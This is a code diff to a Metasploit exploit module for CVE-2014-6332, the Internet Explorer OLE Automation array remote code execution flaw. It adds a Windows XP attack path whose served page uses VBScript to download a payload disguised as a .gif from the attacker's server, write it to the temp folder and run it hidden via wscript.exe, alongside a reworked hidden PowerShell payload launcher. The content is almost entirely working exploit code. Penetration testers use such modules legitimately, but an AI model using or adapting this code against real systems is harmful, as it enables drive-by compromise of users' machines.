@@ -11,17 +11,19 @@ class Metasploit4 < Msf::Exploit::Remote
1111 Rank = ExcellentRanking
1212
1313 include Msf ::Exploit ::Remote ::BrowserExploitServer
14+ include Msf ::Exploit ::EXE
1415 include Msf ::Exploit ::Powershell
1516
1617 def initialize ( info = { } )
1718 super ( update_info ( info ,
18- 'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution" ,
19+ 'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution" ,
1920 'Description' => %q{
2021 This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
21- The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
22- For this module to be successful, powershell is required on the target machine. On
23- Internet Explorer versions using Protected Mode, the user has to manually allow
24- powershell.exe to execute in order to be compromised.
22+ The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to
23+ Windows 10, and there is no patch for Windows XP or older.
24+
25+ Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
26+ newer Windows systems, the exploit will try using Powershell instead.
2527 } ,
2628 'License' => MSF_LICENSE ,
2729 'Author' =>
@@ -32,6 +34,7 @@ def initialize(info={})
3234 'Wesley Neelen' , # security[at]forsec.nl
3335 'GradiusX <francescomifsud[at]gmail.com>' ,
3436 'b33f' , # @FuzzySec
37+ 'sinn3r'
3538 ] ,
3639 'References' =>
3740 [
@@ -46,14 +49,24 @@ def initialize(info={})
4649 'Platform' => 'win' ,
4750 'Targets' =>
4851 [
49- [ 'Windows x86' , { 'Arch' => ARCH_X86 } ] ,
52+ [
53+ 'Windows XP' ,
54+ {
55+ 'os_name' => OperatingSystems ::Match ::WINDOWS_XP
56+ }
57+ ] ,
58+ [
59+ 'Other Windows x86' ,
60+ {
61+ 'os_name' => OperatingSystems ::Match ::WINDOWS ,
62+ }
63+ ]
5064 ] ,
5165 'BrowserRequirements' =>
5266 {
5367 :source => /script|headers/i ,
5468 :ua_name => HttpClients ::IE ,
55- :os_name => /win/i ,
56- :arch => 'x86' ,
69+ :arch => ARCH_X86 ,
5770 :ua_ver => lambda { |ver | ver . to_i . between? ( 4 , 10 ) }
5871 } ,
5972 'DefaultOptions' =>
@@ -260,31 +273,73 @@ def vbs_prepare()
260273
261274 end
262275
263- def get_html ( )
276+ def vbs_vector ( prep )
277+ vbs_name = "#{ Rex ::Text . rand_text_alpha ( rand ( 16 ) +4 ) } .vbs"
278+ gif_name = "#{ Rex ::Text . rand_text_alpha ( rand ( 5 ) +3 ) } .gif"
279+
280+ payload_src = ( datastore [ 'SSL' ] ? 'https' : 'http' )
281+ payload_src << '://'
282+ payload_src << ( datastore [ 'SRVHOST' ] == '0.0.0.0' ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ] )
283+ payload_src << ":#{ datastore [ 'SRVPORT' ] } #{ get_module_resource } /#{ gif_name } "
264284
285+ # I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
286+ # with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
287+ %Q|<!doctype html>
288+ <html>
289+ <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
290+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
291+ <body>
292+ <script language="VBScript">
293+ function runaaaa()
294+ On Error Resume Next
295+
296+ set xmlhttp = CreateObject("Microsoft.XMLHTTP")
297+ xmlhttp.open "GET", "#{ payload_src } ", False
298+ xmlhttp.send
299+
300+ Set objFSO=CreateObject("Scripting.FileSystemObject")
301+ folder = objFSO.GetSpecialFolder(2)
302+ scriptName = folder + "\\ #{ vbs_name } "
303+ Set objFile = objFSO.CreateTextFile(scriptName,True)
304+ objFile.Write xmlhttp.responseText
305+ objFile.Close
306+
307+ set shell=createobject("Shell.Application")
308+ shell.ShellExecute "wscript.exe", scriptName, "", "open", 0
309+
310+ end function
311+ </script>
312+ <script language="VBScript">
313+ #{ prep }
314+ </script>
315+ </body>
316+ </html>
317+ |
318+ end
319+
320+ def powershell_vector ( prep )
265321 if datastore [ 'TRYUAC' ]
266322 tryuac = 'runas'
267323 else
268324 tryuac = 'open'
269325 end
270326
327+ # Powershell was the first technique demonstrated publicly.
328+ # On some Windows setups such as Windows 7 without a service pack, this works quite well.
329+ # But other Windows setups you will get a prompt.
271330 payl = cmd_psh_payload ( payload . encoded , "x86" , { :remove_comspec => true } )
272331 payl . slice! "powershell.exe "
273- prep = vbs_prepare ( )
274332
275- html = %Q|
276- <!doctype html>
333+ %Q|<!doctype html>
277334<html>
278335<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
279336<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
280337<body>
281338<script language="VBScript">
282339function runaaaa()
283340On Error Resume Next
284-
285341set shell=createobject("Shell.Application")
286342shell.ShellExecute "powershell.exe", "#{ payl } ", "", "#{ tryuac } ", 0
287-
288343end function
289344</script>
290345<script language="VBScript">
@@ -293,12 +348,38 @@ def get_html()
293348</body>
294349</html>
295350 |
351+ end
296352
353+ def get_html
354+ prep = vbs_prepare ( )
355+ case get_target . name
356+ when OperatingSystems ::Match ::WINDOWS_XP
357+ return vbs_vector ( prep )
358+ else
359+ return powershell_vector ( prep )
360+ end
297361 end
298362
299363 def on_request_exploit ( cli , request , target_info )
300- print_status ( "Requesting: #{ request . uri } " )
301- send_exploit_html ( cli , get_html ( ) )
364+ case request . uri
365+ when /\. gif/
366+ if get_target . name =~ OperatingSystems ::Match ::WINDOWS_XP
367+ p = regenerate_payload ( cli )
368+ data = generate_payload_exe ( { :code => p . encoded } )
369+
370+ # The default template uses \n, and wscript.exe isn't very happy about that.
371+ # It should be \r\n .
372+ vbs = Msf ::Util ::EXE . to_exe_vbs ( data ) . gsub ( /\x0a / , "\r \n " )
373+
374+ send_response ( cli , vbs )
375+ else
376+ # The VBS technique is only for Windows XP. So if a non-XP system is requesting it,
377+ # something is not right.
378+ send_not_found ( cli )
379+ end
380+ else
381+ send_exploit_html ( cli , get_html )
382+ end
302383 end
303384
304385end
0 commit comments